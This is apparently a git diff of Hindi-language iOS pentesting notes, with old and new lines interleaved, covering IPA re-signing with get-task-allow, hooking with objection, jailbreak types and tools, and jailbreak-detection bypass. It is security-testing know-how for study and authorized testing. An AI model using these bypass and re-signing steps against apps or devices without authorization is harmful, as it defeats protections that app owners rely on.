तो, इसे इंस्टॉल करने के लिए, बस IPA को अनज़िप करें:
```bash
unzip redacted.ipa -d unzipped
```
`Info.plist` में न्यूनतम समर्थित संस्करण के लिए जांचें और यदि आपका डिवाइस उससे पुराना है, तो मान को बदलें ताकि यह समर्थित हो सके।
IPA को फिर से ज़िप करें:
```bash
cd unzipped
zip -r ../no-min-version.ipa *
```
फिर, उदाहरण के लिए IPA स्थापित करें:
```bash
ideviceinstaller -i no-min-version.ipa -w
```
ध्यान दें कि आपको किसी भी `invalid signature` त्रुटियों को रोकने के लिए Cydia से **AppSync Unified tweak** की आवश्यकता हो सकती है।
एक बार स्थापित होने के बाद, आप Cydia से **Iridium tweak** का उपयोग करके डिक्रिप्टेड IPA प्राप्त कर सकते हैं।
### पैच अधिकार और फिर से साइन करें
`get-task-allow` अधिकार के साथ एप्लिकेशन को फिर से साइन करने के लिए कई उपकरण उपलब्ध हैं जैसे `app-signer`, `codesign`, और `iResign``app-signer` का एक बहुत उपयोगकर्ता-अनुकूल इंटरफ़ेस है जो एक IPA फ़ाइल को फिर से साइन करने की अनुमति देता है, जिसमें फिर से साइन करने के लिए IPA, **`get-taks-allow`** डालने और उपयोग करने के लिए प्रमाणपत्र और प्रोविजनिंग प्रोफ़ाइल को इंगित करना शामिल है।
प्रमाणपत्र और साइनिंग प्रोफाइल के संबंध में, Apple सभी खातों के लिए Xcode के माध्यम से **मुफ्त डेवलपर साइनिंग प्रोफाइल** प्रदान करता है। बस एक ऐप बनाएं और एक कॉन्फ़िगर करें। फिर, `Settings``Privacy & Security` पर जाकर **iPhone को डेवलपर ऐप्स पर भरोसा करने के लिए कॉन्फ़िगर करें** और `Developer Mode` पर क्लिक करें।
फिर से साइन की गई IPA के साथ, इसे डिवाइस में स्थापित करने का समय है ताकि इसे पेंटेस्ट किया जा सके:
```bash
ideviceinstaller -i resigned.ipa -w
```
### Hook
आप आसानी से अपने ऐप को सामान्य उपकरणों जैसे frida और objection का उपयोग करके हुक कर सकते हैं:
```bash
objection -g [your app bundle ID] explore
```
## संदर्भ
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,8 +6,8 @@
एक **प्रावधान पहचान** एक Apple डेवलपर खाते से संबंधित सार्वजनिक और निजी कुंजियों का संग्रह है। **ऐप्स पर हस्ताक्षर** करने के लिए आपको **99$/वर्ष** का भुगतान करना होगा ताकि आप **Apple Developer Program** में पंजीकरण कर सकें और अपनी प्रावधान पहचान प्राप्त कर सकें। इसके बिना, आप भौतिक डिवाइस पर स्रोत कोड से एप्लिकेशन नहीं चला सकेंगे। ऐसा करने का एक और विकल्प **जेलब्रोकन डिवाइस** का उपयोग करना है।
Xcode 7.2 से Apple ने एक **मुफ्त iOS विकास प्रावधान प्रोफ़ाइल** बनाने का विकल्प प्रदान किया है जो आपको एक असली iPhone पर अपने एप्लिकेशन को लिखने और परीक्षण करने की अनुमति देता है। _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (अपने क्रेडेंशियल्स के लिए नया Appli ID जोड़ें) --> _बनाए गए Apple ID पर क्लिक करें_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
\_\_फिर, अपने iPhone पर एप्लिकेशन चलाने के लिए आपको पहले **iPhone को कंप्यूटर पर भरोसा करने के लिए इंगित करना होगा।** फिर, आप **Xcode से मोबाइल में एप्लिकेशन चलाने की कोशिश कर सकते हैं,** लेकिन एक त्रुटि दिखाई देगी। इसलिए _Settings_ --> _General_ --> _Profiles and Device Management_ पर जाएं --> अविश्वसनीय प्रोफ़ाइल का चयन करें और "**Trust**" पर क्लिक करें।
Xcode 7.2 से Apple ने एक **मुफ्त iOS विकास प्रावधान प्रोफ़ाइल** बनाने का विकल्प प्रदान किया है जो आपको एक असली iPhone पर अपने एप्लिकेशन को लिखने और परीक्षण करने की अनुमति देता है। _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (अपने क्रेडेंशियल्स के लिए नया एप्लि ID जोड़ें) --> _निर्मित Apple ID पर क्लिक करें_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
\_\_फिर, अपने iPhone में एप्लिकेशन चलाने के लिए आपको पहले **iPhone को कंप्यूटर पर भरोसा करने के लिए संकेत देना होगा।** फिर, आप **Xcode से मोबाइल में एप्लिकेशन चलाने की कोशिश कर सकते हैं,** लेकिन एक त्रुटि दिखाई देगी। इसलिए _Settings_ --> _General_ --> _Profiles and Device Management_ पर जाएं --> अविश्वसनीय प्रोफ़ाइल का चयन करें और "**Trust**" पर क्लिक करें।
ध्यान दें कि **एक ही हस्ताक्षर प्रमाणपत्र द्वारा हस्ताक्षरित एप्लिकेशन सुरक्षित तरीके से संसाधनों को साझा कर सकते हैं, जैसे कि कीचेन आइटम**
@ -16,7 +16,7 @@ Xcode 7.2 से Apple ने एक **मुफ्त iOS विकास प
## **Simulator**
> [!NOTE]
> ध्यान दें कि **सिम्युलेटर एक एमुलेटर के समान नहीं है**। सिम्युलेटर केवल डिवाइस के व्यवहार और कार्यों का अनुकरण करता है लेकिन वास्तव में उनका उपयोग नहीं करता है।
> ध्यान दें कि **सिम्युलेटर और एमुलेटर एक समान नहीं हैं**। सिम्युलेटर केवल डिवाइस के व्यवहार और कार्यों का अनुकरण करता है लेकिन वास्तव में उनका उपयोग नहीं करता है।
### **Simulator**
@ -24,7 +24,7 @@ Xcode 7.2 से Apple ने एक **मुफ्त iOS विकास प
iOS ऐप बनाने और समर्थन के लिए आवश्यक सभी उपकरण **केवल आधिकारिक रूप से Mac OS पर समर्थित हैं**।\
Apple का वास्तविक उपकरण iOS एप्लिकेशन बनाने/डीबग करने/इंस्ट्रूमेंट करने के लिए **Xcode** है। इसका उपयोग अन्य घटकों को डाउनलोड करने के लिए किया जा सकता है जैसे कि **सिम्युलेटर** और विभिन्न **SDK** **संस्करण** जो आपके ऐप को बनाने और **परीक्षण** करने के लिए आवश्यक हैं।\
**आधिकारिक ऐप स्टोर** से Xcode **डाउनलोड** करने की अत्यधिक सिफारिश की जाती है। अन्य संस्करणों में मैलवेयर हो सकता है।
यह अत्यधिक अनुशंसित है कि आप **आधिकारिक ऐप स्टोर** से Xcode **डाउनलोड** करें। अन्य संस्करणों में मैलवेयर हो सकता है।
सिम्युलेटर फ़ाइलें `/Users/<username>/Library/Developer/CoreSimulator/Devices` में पाई जा सकती हैं।
@ -37,14 +37,14 @@ Apple का वास्तविक उपकरण iOS एप्लिके
### Applications in the Simulator
`/Users/<username>/Library/Developer/CoreSimulator/Devices` के अंदर आप सभी **स्थापित सिम्युलेटर** पा सकते हैं। यदि आप उन फ़ाइलों तक पहुँच प्राप्त करना चाहते हैं जो एक एमुलेटर के अंदर बनाई गई एप्लिकेशन की हैं, तो यह जानना मुश्किल हो सकता है कि **किसमें ऐप स्थापित है****सही UID** खोजने का एक त्वरित तरीका है कि आप सिम्युलेटर में ऐप चलाएँ और निष्पादित करें:
`/Users/<username>/Library/Developer/CoreSimulator/Devices` के अंदर आप सभी **स्थापित सिम्युलेटर** पा सकते हैं। यदि आप उन फ़ाइलों तक पहुँच प्राप्त करना चाहते हैं जो एक एमुलेटर के अंदर बनाई गई एप्लिकेशन की हैं, तो यह जानना मुश्किल हो सकता है कि **किसमें ऐप स्थापित है**। सही UID **खोजने का एक त्वरित तरीका** यह है कि सिम्युलेटर में ऐप को चलाएँ और निष्पादित करें:
```bash
xcrun simctl list | grep Booted
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
```
एक बार जब आप UID जान लेते हैं, तो इसके भीतर स्थापित ऐप्स को `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` में पाया जा सकता है।
हालांकि, आश्चर्यजनक रूप से, आप यहां एप्लिकेशन नहीं पाएंगे। आपको `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` तक पहुंचने की आवश्यकता है
हालांकि, आश्चर्यजनक रूप से, आप यहां एप्लिकेशन नहीं पाएंगे। आपको `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` में पहुंचना होगा
और इस फ़ोल्डर में आप **एप्लिकेशन का पैकेज ढूंढ सकते हैं।**
@ -54,47 +54,51 @@ Corellium एकमात्र सार्वजनिक रूप से उ
## जेलब्रेक की आवश्यकता नहीं
इस ब्लॉग पोस्ट को देखें कि कैसे एक iOS एप्लिकेशन का परीक्षण किया जाए **गैर-जेलब्रेक किए गए डिवाइस** में: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
इस ब्लॉग पोस्ट को देखें कि कैसे एक iOS एप्लिकेशन का परीक्षण किया जाए **गैर-जेलब्रेक किए गए डिवाइस** में:
{{#ref}}
ios-pentesting-without-jailbreak.md
{{#endref}}
## जेलब्रेकिंग
Apple सख्ती से आवश्यक करता है कि iPhone पर चलने वाला कोड **Apple द्वारा जारी किए गए प्रमाणपत्र द्वारा हस्ताक्षरित होना चाहिए****जेलब्रेकिंग** उस प्रक्रिया को कहते हैं जिसमें सक्रिय रूप से **ऐसी प्रतिबंधों** और OS द्वारा लगाए गए अन्य सुरक्षा नियंत्रणों को **बायपास** किया जाता है। इसलिए, एक बार जब डिवाइस जेलब्रेक हो जाता है, तो **अखंडता जांच** जो स्थापित ऐप्स की जांच के लिए जिम्मेदार होती है, पैच की जाती है ताकि इसे **बायपास** किया जा सके।
Apple सख्ती से आवश्यक करता है कि iPhone पर चलने वाला कोड **Apple द्वारा जारी किए गए प्रमाणपत्र से साइन किया गया हो**। **जेलब्रेकिंग** उस प्रक्रिया को कहते हैं जिसमें सक्रिय रूप से **ऐसी सीमाओं** और अन्य सुरक्षा नियंत्रणों को **बायपास** किया जाता है जो OS द्वारा लगाए गए हैं। इसलिए, एक बार जब डिवाइस जेलब्रेक हो जाता है, तो **इंटीग्रिटी चेक** जो ऐप्स के इंस्टॉल होने की जांच करता है, पैच किया जाता है ताकि इसे **बायपास** किया जा सके।
> [!NOTE]
> Android के विपरीत, **आप iOS में "डेवलपर मोड" में स्विच नहीं कर सकते** ताकि डिवाइस पर असाइन किए गए/अविश्वसनीय कोड चल सके।
### Android रूटिंग बनाम iOS जेलब्रेकिंग
हालांकि अक्सर इसकी तुलना की जाती है, **Android पर रूटिंग** और **iOS पर जेलब्रेकिंग** मौलिक रूप से अलग प्रक्रियाएँ हैं। Android उपकरणों पर रूटिंग में **`su` बाइनरी** स्थापित करना या **रूटेड कस्टम ROM के साथ सिस्टम को बदलना** शामिल हो सकता है, जिसे अनलॉक किए गए बूटलोडर के साथ आवश्यक रूप से शोषण की आवश्यकता नहीं होती है। **कस्टम ROM को फ्लैश करना** बूटलोडर को अनलॉक करने के बाद डिवाइस के OS को बदलता है, कभी-कभी शोषण की आवश्यकता होती है।
हालांकि अक्सर इसकी तुलना की जाती है, **Android पर रूटिंग** और **iOS पर जेलब्रेकिंग** मौलिक रूप से अलग प्रक्रियाएं हैं। Android डिवाइस को रूट करने में **`su` बाइनरी** को **इंस्टॉल करना** या **रूटेड कस्टम ROM के साथ सिस्टम को बदलना** शामिल हो सकता है, जिसे अनलॉक किए गए बूटलोडर के साथ आवश्यक रूप से एक्सप्लॉइट की आवश्यकता नहीं होती है। **कस्टम ROM को फ्लैश करना** बूटलोडर को अनलॉक करने के बाद डिवाइस के OS को बदलता है, कभी-कभी एक एक्सप्लॉइट की आवश्यकता होती है।
इसके विपरीत, iOS उपकरण कस्टम ROM को फ्लैश नहीं कर सकते हैं क्योंकि बूटलोडर केवल Apple द्वारा हस्ताक्षरित छवियों को बूट करने की अनुमति देता है। **iOS को जेलब्रेक करना** Apple के कोड साइनिंग सुरक्षा को बायपास करने का लक्ष्य रखता है ताकि असाइन किए गए कोड को चलाया जा सके, यह प्रक्रिया Apple के निरंतर सुरक्षा सुधारों द्वारा जटिल होती है।
इसके विपरीत, iOS डिवाइस कस्टम ROM को फ्लैश नहीं कर सकते हैं क्योंकि बूटलोडर केवल Apple द्वारा साइन की गई छवियों को बूट करने की अनुमति देता है। **iOS को जेलब्रेक करना** Apple के कोड साइनिंग सुरक्षा को बायपास करने का लक्ष्य रखता है ताकि असाइन किए गए कोड को चलाया जा सके, यह प्रक्रिया Apple के निरंतर सुरक्षा सुधारों द्वारा जटिल होती है।
### जेलब्रेकिंग चुनौतियाँ
iOS को जेलब्रेक करना तेजी से कठिन होता जा रहा है क्योंकि Apple जल्दी से कमजोरियों को पैच करता है। **iOS को डाउनग्रेड करना** केवल एक रिलीज के बाद सीमित समय के लिए संभव है, जिससे जेलब्रेकिंग एक समय-संवेदनशील मामला बन जाता है। सुरक्षा परीक्षण के लिए उपयोग किए जाने वाले उपकरणों को अपडेट नहीं किया जाना चाहिए जब तक कि फिर से जेलब्रेकिंग की गारंटी न हो।
iOS को जेलब्रेक करना तेजी से कठिन होता जा रहा है क्योंकि Apple जल्दी से कमजोरियों को पैच करता है। **iOS को डाउनग्रेड करना** केवल एक रिलीज के बाद सीमित समय के लिए संभव है, जिससे जेलब्रेकिंग एक समय-संवेदनशील मामला बन जाता है। सुरक्षा परीक्षण के लिए उपयोग किए जाने वाले डिवाइस को अपडेट नहीं किया जाना चाहिए जब तक कि फिर से जेलब्रेक करना सुनिश्चित न हो।
iOS अपडेट एक **चुनौती-प्रतिक्रिया तंत्र** (SHSH ब्लॉब) द्वारा नियंत्रित होते हैं, जो केवल Apple द्वारा हस्ताक्षरित प्रतिक्रियाओं के लिए स्थापना की अनुमति देता है। इस तंत्र को "साइनिंग विंडो" के रूप में जाना जाता है, जो OTA फर्मवेयर पैकेज को स्टोर करने और बाद में उपयोग करने की क्षमता को सीमित करता है। [IPSW Downloads वेबसाइट](https://ipsw.me) वर्तमान साइनिंग विंडो की जांच करने के लिए एक संसाधन है।
iOS अपडेट एक **चुनौती-प्रतिक्रिया तंत्र** (SHSH blobs) द्वारा नियंत्रित होते हैं, जो केवल Apple द्वारा साइन की गई प्रतिक्रियाओं के लिए इंस्टॉलेशन की अनुमति देता है। इस तंत्र को "साइनिंग विंडो" के रूप में जाना जाता है, जो OTA फर्मवेयर पैकेज को स्टोर करने और बाद में उपयोग करने की क्षमता को सीमित करता है। [IPSW Downloads वेबसाइट](https://ipsw.me) वर्तमान साइनिंग विंडो की जांच करने के लिए एक संसाधन है।
### जेलब्रेक की विविधताएँ
- **टेथर्ड जेलब्रेक** प्रत्येक रिबूट के लिए कंप्यूटर कनेक्शन की आवश्यकता होती है।
- **सेमी-टेथर्ड जेलब्रेक** बिना कंप्यूटर के गैर-जेलब्रेक मोड में बूट करने की अनुमति देता है
- **सेमी-अनटेर्ड जेलब्रेक** बिना कंप्यूटर की आवश्यकता के मैन्युअल रूप से फिर से जेलब्रेकिंग की आवश्यकता होती है।
- **अनटेर्ड जेलब्रेक** बिना फिर से आवेदन की आवश्यकता के एक स्थायी जेलब्रेक समाधान प्रदान करता है
- **सेमी-टेथर्ड जेलब्रेक** बिना कंप्यूटर के गैर-जेलब्रेक मोड में बूट करने की अनुमति देते हैं
- **सेमी-अनटेर्ड जेलब्रेक** बिना कंप्यूटर की आवश्यकता के मैन्युअल रूप से फिर से जेलब्रेक करने की आवश्यकता होती है।
- **अनटेर्ड जेलब्रेक** बिना फिर से आवेदन की आवश्यकता के एक स्थायी जेलब्रेक समाधान प्रदान करते हैं
### जेलब्रेकिंग उपकरण और संसाधन
जेलब्रेकिंग उपकरण iOS संस्करण और डिवाइस के अनुसार भिन्न होते हैं। [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), और [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) जैसे संसाधन अद्यतन जानकारी प्रदान करते हैं। उदाहरणों में शामिल हैं:
जेलब्रेकिंग उपकरण iOS संस्करण और डिवाइस के अनुसार भिन्न होते हैं। संसाधन जैसे [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), और [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) अद्यतन जानकारी प्रदान करते हैं। उदाहरणों में शामिल हैं:
- [Checkra1n](https://checkra.in/) A7-A11 चिप उपकरणों के लिए।
- [Palera1n](https://palera.in/) Checkm8 उपकरणों (A8-A11) के लिए iOS 15.0-16.5 पर।
- [Unc0ver](https://unc0ver.dev/) iOS संस्करणों के लिए 14.8 तक।
- [Checkra1n](https://checkra.in/) A7-A11 चिप डिवाइस के लिए।
- [Palera1n](https://palera.in/) Checkm8 डिवाइस (A8-A11) के लिए iOS 15.0-16.5 पर।
- [Unc0ver](https://unc0ver.dev/) iOS संस्करण 14.8 तक के लिए
अपने डिवाइस को संशोधित करना जोखिम उठाता है, और जेलब्रेकिंग को सावधानी के साथ किया जाना चाहिए।
अपने डिवाइस को संशोधित करना जोखिम भरा है, और जेलब्रेकिंग को सावधानी से किया जाना चाहिए।
### जेलब्रेकिंग के लाभ और जोखिम
जेलब्रेकिंग **OS द्वारा लगाए गए सैंडबॉक्सिंग को हटा देती है**, जिससे ऐप्स को पूरे फाइल सिस्टम तक पहुंच मिलती है। यह स्वतंत्रता अस्वीकृत ऐप्स को स्थापित करने और अधिक API तक पहुंचने की अनुमति देती है। हालांकि, नियमित उपयोगकर्ताओं के लिए, जेलब्रेकिंग **अनुशंसित नहीं है** क्योंकि इससे संभावित सुरक्षा जोखिम और डिवाइस की अस्थिरता हो सकती है।
जेलब्रेकिंग **OS द्वारा लगाए गए सैंडबॉक्सिंग को हटा देती है**, जिससे ऐप्स को पूरे फाइल सिस्टम तक पहुंच मिलती है। यह स्वतंत्रता अस्वीकृत ऐप्स को इंस्टॉल करने और अधिक APIs तक पहुंचने की अनुमति देती है। हालांकि, नियमित उपयोगकर्ताओं के लिए, जेलब्रेकिंग **अनुशंसित नहीं है** क्योंकि संभावित सुरक्षा जोखिम और डिवाइस की अस्थिरता हो सकती है।
### **जेलब्रेकिंग के बाद**
@ -106,20 +110,20 @@ basic-ios-testing-operations.md
**कई एप्लिकेशन यह पता लगाने की कोशिश करेंगे कि क्या मोबाइल जेलब्रेक किया गया है और इस मामले में एप्लिकेशन नहीं चलेगा।**
- जेलब्रेकिंग के बाद iOS **फाइलें और फ़ोल्डर आमतौर पर स्थापित होते हैं**, इन्हें यह निर्धारित करने के लिए खोजा जा सकता है कि क्या डिवाइस जेलब्रेक किया गया है।
- जेलब्रेक करने के बाद iOS में **फाइलें और फ़ोल्डर आमतौर पर इंस्टॉल होते हैं**, इन्हें यह निर्धारित करने के लिए खोजा जा सकता है कि क्या डिवाइस जेलब्रेक किया गया है।
- एक जेलब्रेक किए गए डिवाइस में एप्लिकेशन को **नए फ़ाइलों** तक **पढ़ने/लिखने की पहुंच** मिलती है जो सैंडबॉक्स के बाहर होती हैं।
- कुछ **API** **कॉल** **अलग तरीके से व्यवहार करेंगी।**
- **OpenSSH** सेवा की उपस्थिति।
- `/bin/sh` को कॉल करने पर **1** लौटाएगा, 0 के बजाय।
**जेलब्रेकिंग का पता लगाने के बारे में अधिक जानकारी** [**यहां**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**।**
**जेलब्रेकिंग का पता लगाने के तरीके के बारे में अधिक जानकारी** [**यहां**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**।**
आप **objection's** `ios jailbreak disable` का उपयोग करके इन डिटेक्शनों से बचने की कोशिश कर सकते हैं।
## **जेलब्रेक डिटेक्शन बायपास**
- आप **objection's** `ios jailbreak disable` का उपयोग करके इन डिटेक्शनों से बचने की कोशिश कर सकते हैं।
- आप **Liberty Lite** (https://ryleyangus.com/repo/) उपकरण भी स्थापित कर सकते हैं। एक बार जब रिपॉजिटरी जोड़ी जाती है, तो ऐप 'सर्च' टैब में दिखाई देना चाहिए।
- आप **Liberty Lite** (https://ryleyangus.com/repo/) उपकरण भी इंस्टॉल कर सकते हैं। एक बार जब रिपॉजिटरी जोड़ी जाती है, तो ऐप 'सर्च' टैब में दिखाई देना चाहिए।
## संदर्भ